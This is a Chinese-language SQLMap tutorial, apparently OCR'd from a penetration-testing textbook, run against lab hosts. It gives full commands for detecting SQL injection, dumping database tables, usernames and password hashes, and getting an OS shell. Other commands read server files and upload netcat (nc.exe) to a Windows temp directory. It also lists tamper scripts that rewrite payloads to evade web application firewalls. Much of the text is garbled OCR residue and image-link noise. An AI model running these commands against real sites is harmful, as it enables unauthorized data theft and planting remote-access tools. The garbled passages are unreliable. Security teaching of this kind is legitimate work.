SQLMap详解

 

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定 URL的 SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、

PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、 Firebird、Sybase和SAP     MaxDB。SQLMap采用了以下5种独特的SQL注入技术。

●基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。

●基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句

查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

●基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回 到页面中。

●联合查询注入,在可以使用Union 的情况下的注入。

●堆查询注入,可以同时执行多条语句时的注入。

SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目

标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap 的功能强大到让人惊 叹,当常规的注入工具不能利用SQL 注入漏洞进行注入时,使用SQLMap  会有意想不到 的效果。

3.1.1 安装SQLMap

SQLMap 的安装需要Python 环境(不支持Python   3),本节使用的是

Python 2.7.3,可在官网下载安装包并一键安装,安装完成后,复制Python 的安装目 录,添加到环境变量值中,如图3-1所示。

 

b98ec5e5484a402da9409385548df532.png

 

70aa52c964984719987762e0910de89e.png

图3-2运行SQLMap

3.1.2   SQLMap入 门

1.判断是否存在注入

假设目标注入点是http://192.168.1.104/sql1/Less-1/?id=11,判断其是否 存在注入的命令如下所示。

sqlmap.py-u                 http://192.168.1.104/sql1/Less-1/?id=1

 

1d61ef0e4951440fa1c290fc642136b9.png

 

结果显示存在注入,如图3-3所示。

 

 

ermote:-1feemans seleap.FY -u http:1/ 192.168.1.164/AGI¹M**-1/714-1

!

MtP //QLPO

!!legal    dtsclatner:Wsge     ct    salenp     ter    attecking     targets     sitheut    prtor     sutusl    cansent     ts     fllessl.It    fs     che    end     use

spon(re)tgt

is(t)y(y) at(te)ow(eb)ieyar(a)d(tt)ospe(aop)lcaur(lcab)

ed

opet(i)lh.

1srt             14:17:0

4        we!tetine cennct lon te te taret

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps62.png&pos_id=efglfF2C

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps63.png&pos_id=ziaNwbtC

: 明 g! 效Iheuristic (

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps64.jpg&pos_id=Nt4lnpJz

sic)test shoe that GfI pareter

4:-           urietir K⁶teet cwe thet ErI faretn ia

te       o        0rtl        ,

iuaaki

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps65.jpg&pos_id=GPvByyaX

tc]reriective(⁰6se)lva(en-)tlun(ice)

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps66.jpg&pos_id=bfqCaPNk

s)toune(e)lan(tnd)e f¹iterin(r)g out AI       CLE'

t     i          -*             iet

(14:38:    (ROi    heuristic    (ertended)test     shovs    that   n( th)

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps67.jpg&pos_id=igmXikMp

    to(bac)t-e

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps68.jpg&pos_id=kxlD58WJ

die0Gta(TS)t coPuy(ld)let(be)h "ms(⁵)c(L)s  ig  chuC*?n

e       twor        setn       'we        5.5        o        errer       bhte-*FtF,MNIWG,Ota        BY       ar        CARP        BY       Gleie        fOIGIN       UWIAFD)

 

还有一种情况,当注入点后面的参数大于等于两个时,需要加双引号,如下所

sqlmap.py-u          "http://192.168.1.104/sql¹/Less-1/?id=1&uid=2"

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps69.png&pos_id=OLIElliN

可以看到,运行完判断是否存在注入的语句后,  “爆出”一大段代码, 下面来

分析代码反馈给我们的信息。这里有三处需要选择的地方:第一处的意思为检测到数据 库可能是MySQL,  是否需要跳过检测其他数据库;第二处的意思是在 “level1、

risk1”的情况下,是否使用MySQL 对应的所有Payload进行检测;第三处的意思是参 数ID存在漏洞,是否要继续检测其他参数, 一般默认按回车键即可,如图3-4所示。

 

2.判断文本中的请求是否存在注入

从文件中加载HTTP 请 求 ,SQLMap  可以从一个文本文件中获取HTTP 请求,

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps70.png&pos_id=fD2BFne3

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps71.png&pos_id=OZLBKoyn

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps72.png&pos_id=yClve9tU

 

这样就可以不设置其他参数(如cookie、POST 数据等),txt文件中的内容为Web 数 据包,如图3-5所示。

 

1.txt

GET   /sql1/Less-1/?1d=1   HTTP/1.1

Host:192.168.1.104

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps73.png&pos_id=wZEVq1f4

Mac    0S     X    10.12;ry:53.0)Gecko/20100101    Firefox/

53.0

Accept:text/html,applisation/xhtml+xml,apglisetigny/xmlig=0.9,*/*;q=0.8

Accept-Language:zh-CN,zhiq=0.8,en-US;q=0,S,SniQ=0.3

Connection:ciose

Upgrade-Insecure-Requests:1

 

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps74.png&pos_id=3NtDElgH

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps75.png&pos_id=rAN0czeG

判断是否存在注入的命令如下所示,运行后的结果如图3-6所示, -r一般在存 在cookie 注入时使用。

sqlmap.py-r  desktop/1.txt

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps76.png&pos_id=1eSt8brA

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps77.png&pos_id=mkC2b9GK

 

 

 

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps78.png&pos_id=ih9ZYkba

 

3 .查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所

示。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所 有数据库,如图3-7所示。

sqlmap.py-u                                http://192.168.1.104/sql¹/Less-1/?id=1--dbs

从图3- 7中可以看到,查询出了17个数据库及所有数据库的库名。当继续注入

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps79.png&pos_id=FWMqVbeS

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps80.png&pos_id=jisrYicm

 

时, ——dbs 缩写成-D  xxx,其意思是在xxx数据库中继续查询其他数据。

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps81.png&pos_id=WOG3dwd6

 

4.获取数据库中的表名

该命令的作用是查询完数据库后,查询指定数据库中所有的表名,如下所示。

如果在该命令中不加入-D 参数来指定某一个具体的数据库,那么SQLMap  会列出数据 库中所有库的表,如图3-8所示。

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps82.png&pos_id=kb9eCW9z

"http://192.168.1.7/sql/union.php?id=1"-D       dkeye--

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps83.png&pos_id=QGkBzvCa

 

 

从图3-8中可以看到dkeye数据库中拥有的3个表名。当继续注入时, —— tables缩写成-T, 意思是在某表中继续查询。

5.获取表中的字段名

该命令的作用是查询完表名后,查询该表中所有的字段名,如下所示。运行该 命令的 结 果如图3-9所示。

sqlmap.py- u "http: //192.168.1.7/sql/union.php?id=1"    -D dkeye-T user_info——columns

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps86.png&pos_id=Ro2OjO2f

Database:dkeye

Table:user_info

[4  columns]

|Column       I  Type

Id        I int(11)

password   I   varchar(32)

userkey            varchar(32)

username       | varchar(25)

 

 

从图3-9中可以看到在dkeye 数据库中的user_info表中一共有4个字段。在后 续的注入中, ——columns 缩写成-C。

6.获取字段内容

该命令是查询完字段名之后,获取该字段中具体的数据信息,如下所示。

sqlmap.py-u    "http:/ /192.168.1.7/sql/union.php?id=1"-D    dkeye     -T user_info-C         username,password——dump

这里需要下载的数据是dkeye 数据库里user_info  表中username   和password

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps87.png&pos_id=kXUMgrAW

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps88.jpg&pos_id=OF7RnzKm

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps89.png&pos_id=ojY25a7b

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps90.png&pos_id=XRmvmVAH

 

username   | password

 

 

Dumb

Angelina Dummy

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps91.png&pos_id=Q1Cfj2pO

stupid

superman batman     admin

 

Dumb

I-kill-you

possword

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps92.png&pos_id=PKMUFbgM

s(c)t(r)up(app)iyd ity

mob!le

admin

 

 

 

7.获取数据库的所有用户

该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包 含所有用户的表的权限时,使用该命令就可以列出所有管理用户。

sqlmap.py-u"http://192.168.1 .7/sql/union.php?id=1"——users 可以看到,当前用户账号是root,如图3-11所示。

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps93.png&pos_id=PjxEH0rU

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps94.png&pos_id=VbHTUw3N

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps95.jpg&pos_id=TUcYC6e7

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps96.jpg&pos_id=9rLksllo

r(a)o(b)o(a)t'@(se)'1(m)2(a)7(na)

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps97.jpg&pos_id=Z1yVt6bs

e0(m)e1(n)

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps98.jpg&pos_id=FJhHEKlc

  system

 

 

 

 

 

8.获取数据库用户的密码

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps99.png&pos_id=6iI2KAEE

 

该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含 用户密码的权限,SQLMap  会先列举出用户,然后列出Hash, 并尝试破解。

sqlmap.py-u     "http://192.168.1.7/sql/union.php?id=1"——passwords

可以看到,密码使用MySQL5 加密,可以在www.cmd5.com  中自 行解密。

 

9.获取当前网站数据库的名称

使用该命令可以列出当前网站使用的数据库,如下所示。

sqlmap.py-u      "http://192.168.1.7/sql/union.php?id=1"——current-db 从图3-13中可以看到数据库是’sql'。

10.获取当前网站数据库的用户名称

使用该命令可以列出当前网站使用的数据库用户,如下所示。

sqlmap.py-u     "http://192.168.1.7/sql/union.php?id=1"——current-user 从图3-14中可以看到,用户是root。

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps102.png&pos_id=YQEYiG1x

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps103.png&pos_id=CYvXFc8C

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps104.png&pos_id=W0j1w960

 

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps105.png&pos_id=5qoXVbE4

图3-14列出当前数据库的用户

3.1.3 SQLMap进阶:参数讲解

1.——level  5: 探测等级

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps106.png&pos_id=ehrzBK28

参数——level 5指需要执行的测试等级, 一共有5个等级(1~5),可不加

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps107.png&pos_id=QR2ylINm

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps108.png&pos_id=t7VRBpEL

level,  默认是1。SQLMap使用的Payload可以在xml/payloads.xml 中看到,也可以 根据相应的格式添加自己的Payload, 其中5级包含的Payload最多,会自动破解出  cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。

这个参数会影响测试的注入点, GET和POST的数据都会进行测试, HTTP

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps109.png&pos_id=sHVp725s

cookie在level为2时就会测试, HTTP User-Agent/Referer头在level为3时就会测试。 总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level 值。

2.——is-dba: 当前用户是否为管理权限

该命令用于查看当前账户是否为数据库管理员账户,如下所示,在本案例中输 入该命令,会返回Ture, 如图3-15所示。

sqlmap.py-u    "http://192.168.1.7/sql/union .php?id=1"——is-dba

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps110.png&pos_id=CPwxy4JM

101Y58?26][INFU]Tetcmng  cUTTeit  user

current user is DBA:       True

 

3.——roles:   列出数据库管理员角色

该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的 表,输入该命令会列举出每个用户的角色,也可以用-U 参数指定想看哪个用户的角

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps111.png&pos_id=ln4jxqY5

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps112.png&pos_id=Q80sREAj

 

色。该命令仅适用于当前数据库是Oracle的时候。在本案例中输入该命令的结果如图 3-16所示。

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps113.png&pos_id=qDGVvfDA

 

 

 

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps114.png&pos_id=FmRAghQL

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps115.png&pos_id=0MnMRnxW

[*]'root'@'127.0.0.1'(administrator)[28]:

role:ALTER

 

role:ALTER

ROUTINE

rale:CREATE

 

role:CREATE

ROUTINE

role:CREATE

TABLESPACE

role:CREATE

TEMPORARY     TABLES

role:CREATE

USER

role:CREATE

VIEW

role:DELETE

role:DROP

role:EVENT

role:EXECUTE

role:FILE

role:INDEX

role:INSERT

role:LOCK         TABLES

role:PROCESS

role:REFERENCES

role:RELOAD

role:REPLICATION             CLIENT

role:REPLICATION            SLAVE

role:SELECT

role:SHOW       DATABASES

role:SHOW VIEN

role:SHUTDOWN

role:SUPER

role:TRIGGER

role:UPDATE

图3-16查看数据库用户的角色

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps116.png&pos_id=js74LerZ

 

4.——referer:HTTP  Referer头

SQLMap可以在请求中伪造HTTP中的referer,  当——level 参数设定为3或3

以上时,会尝试对referer注入。可以使用referer命令来欺骗,如——referer http://

www.baidu.com。

5.——sql-shell: 运行自定义SQL语句

该命令用于执行指定的SQL 语句,如下所示,假设执行select*from users limit    0,1语句,结果如图3-17所示。

sqlmap.py-u"http://192.168.1.7/sql/union.php?id=1"——sql-shell

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps117.png&pos_id=RwWtbn2n

 

6.——os-cmd,——os-shell: 运行任意操作系统命令

在数据库为MySQL、PostgreSQL或Microsoft  SQL  Server,并且当前用户

有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap   上传一个二 进制库,包含用户自定义的函数sys_exec() 和sys_eval(), 那么创建的这两个函数 就可以执行系统命令。在Microsoft SQL Server中 ,SQLMap 将使用xp_cmdshell存  储过程,如果被禁用(在Microsoft SQL Server 2005及以上版本默认被禁制),则

SQLMap会重新启用它;如果不存在,会自动创建。

用——os-shell参数可以模拟一个真实的Shell, 输入想执行的命令。当不能

执行多语句时(比如PHP 或ASP 的后端数据库为MySQL),  仍然可以使用INTO

OUTFILE写进可写目录,创建一个Web 后门。 ——os-shell支持ASP、ASPNET、JSP  和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是——is-dba  的 值要为True)。

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps118.png&pos_id=EfpcGKUM

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps119.png&pos_id=u6pzlgvS

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps120.png&pos_id=s3G81b9L

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps121.png&pos_id=M8LN5KeH

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps122.png&pos_id=50qQScat

 

7.——file-read: 从数据库服务器中读取文件

该命令用于读取执行文件,当数据库为MySQL、PostgreSQL 或Microsoft

SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可  以是二进制文件。下面以Microsoft SQL Server 2005为例,复习——file-read参数的 用法。

$python   sqlmap.py   -u

"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"\

…file-read     "C:/example.exe"-v      1

[hh:mm:49][INFO]the  back-end  DBMS  is  Microsoft  SQL  Server

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps123.png&pos_id=hBRtgzTO

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps124.png&pos_id=dWvrsaEZ

web  server  operating  system:Windows  2000

web application technology:ASP.NET,Microsoft IIS 6.0,ASP

back-end DBMS:Microsoft SQL Server 2005

[hh:mm:50][INFO]fetching file:'C:/example.exe'

[hh:mm:50][INFO]the   SQL   query    provided   returns    3   entries

C:/example.exe     file     saved     to:

'/software/sqlmap/output/192.168.136.129/files/C               example.exe'

[…]

$1s  -1  output/192.168.136.129/files/C    example.exe

-rw-r--r--1     inquis     inquis     25602011-MM-DD     hh:mm

output/192.168.136.129/files/C              example.exe

$file             output/192.168.136.129/files/C    example.exe

output/ 192.168.136.129/files/C__example.exe:PE32       executable        for       MS       Windows(GUI)

Intel

8038632-bit

8.——file-write——file-dest: 上传文件到数据库服务器中

该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL 或

Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是 文本,也可以是二进制文件。下面以一个MySQL 的例子复习——file-write——file- dest参数的用法。

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps125.png&pos_id=smTkvVzV

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps126.png&pos_id=ZQX2yRby

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps127.png&pos_id=7GkUJwoQ

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps128.png&pos_id=xChiFePQ

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps129.png&pos_id=XbCDvkcE

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps130.jpg&pos_id=TGtNnwZB

 

 

s file /software/nc.exe.packed

/software/nc.exe.packed:PE32 executable for MS Windows(console)Intel 8038632-bit $1s -1 /software/nc.exe.packed

-rwxr-xr-x 1 inquis inquis 317442009-NM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1"

--file-write     \

"/software/nc.exe.packed"--file-dest"C:/WINDOWS/Temp/nc.exe"-v 1

[…]

[hh:mm:29][INFO]the         back-end         DBNS         is          MySQL

web server operating system:Windows 2003 or 2008

web application technology:ASP.NET,Microsoft IIS 6.0,ASP.NET 2.0.50727 back-end             DBMS:MySQL             8gt;=5.0.0

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps131.png&pos_id=PdeS5XJO

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps132.png&pos_id=7amcPtjv

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps133.png&pos_id=1Dpzzjqj

want confirmation that the file'C:/WINDOWS/Temp/nc.exe'has been

written on the back-end DBNS file system?[Y/n]y

[hh:mm:52][INFO]retrieved:31744

[hh:mm:52][INFO]the file has been successfully written and its size is 31744 bytes, same size  as the  local  file  '/software/nc.exe.packed'

3.1.4 SQLMap自带绕过脚本tamper的讲解

SQLMap在默认情况下除了使用CHAR()   函数防止出现单引号,没有对注入

的数据进行修改,读者还可以使用——tamper 参数对数据做修改来绕过WAF 等设备, 其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规  则,命令如下所示。

sqlmap.py XXXXX——tamper "模块名"

目前官方提供53个绕过脚本,下面是一个tamper 脚本的格式。

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps134.png&pos_id=GUnsHiH2

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps135.png&pos_id=mGq7WSrD

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps136.png&pos_id=EgtOWCOK

 

 

#sqlmap/tamper/escapequotes.py

from  lib.core.enums  import  PRIORITY

    riority_=PRIORITY.LOWEST

def   dependencies():

Pass

def           tamper(payload,**kwargs):

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps137.jpg&pos_id=sJqQjcZY

return     payload.replace(""","\\'").replace('"','\\"')

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps138.png&pos_id=U7VueRrd

不难看出, 一个最小的tamper脚本结构为priority 变量定义和

dependencies、tamper 函数定义。

●  priority定义脚本的优先级,用于有多个tamper  脚本的情况。

●dependencies     函数声明该脚本适用/不适用的范围,可以为空。

下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由

dependencies和tamper两个函数构成。def       tamper(payload,**kwargs)  函数接 收playload和**kwargs返回一个Payload。下面这段代码的意思通过正则匹配所有  字符,将所有攻击载荷中的字符转换为大写字母。

def       tamper(payload,**kwargs):

retVal        =payload

^

if     f(p)o(a)r(y)lma(oad:)tch in re.finditer(r"[A-Za-z_]+",retval):

word    =match.group()

if     word.upper()in     kb.keywords:

retVal            =retVal.replace(word,word.upper())

return  retVal                                                                                                      

在日常使用中,我们会对一些网站是否有安全防护 (WAF/IDS/IPS) 进行试

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps139.png&pos_id=bGnBUJvw

探,可以使用参数——identify-waf 进行检测。

下 面 介 绍 一 些 常 用 的tamper  脚 本 。

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps140.png&pos_id=PqmVbZ8B

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps141.png&pos_id=XlIwQ5tL

 

 

·apostrophemask.py

作用:将引号替换为UTF-8, 用于过滤单引号。

使用脚本前的语句为:

1  AND'1'='1

使用脚本后,语句为:

1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

●  base64encode.py

作用:替换为base64编码。

使用脚本前的语句为:

1'AND            SLEEP(5)#

使用脚本后,语句为:

MScgQU5EIFNMRUVQKDUplw==

·multiplespaces.py

作用:围绕SQL 关键字添加多个空格。

使用脚本前的语句为:

1   UNION   SELECT   foobar

使用脚本后,语句为:

1   UNION   SELECT   foobar

·space2plus.py

作用:用+号替换空格。

使用脚本前的语句为:

SELECT   id   FROM   users

使用脚本后,语句为:

SELECT+id+FROM+users

·nonrecursivereplacement.py

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps142.png&pos_id=AVaPCdyM

 

作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常 弱的自定义过滤器,例如将SELECT替换为空)。

使用脚本前的语句为:

1   UNION  SELECT  2-

使用脚本后,语句为:

1   UNIOUNIONN   SELESELECTCT   2-

·space2randomblank.py

作用:将空格替换为其他有效字符。

使用脚本前的语句为:

SELECT   id   FROM   users

使用脚本后,语句为:

SELECT%0Did%0DFROM%OAusers

●   unionalltounion.py

作用:将UNION ALL SELECT替换为UNION SELECT。

使用脚本前的语句为:

-1   UNION   ALL   SELECT

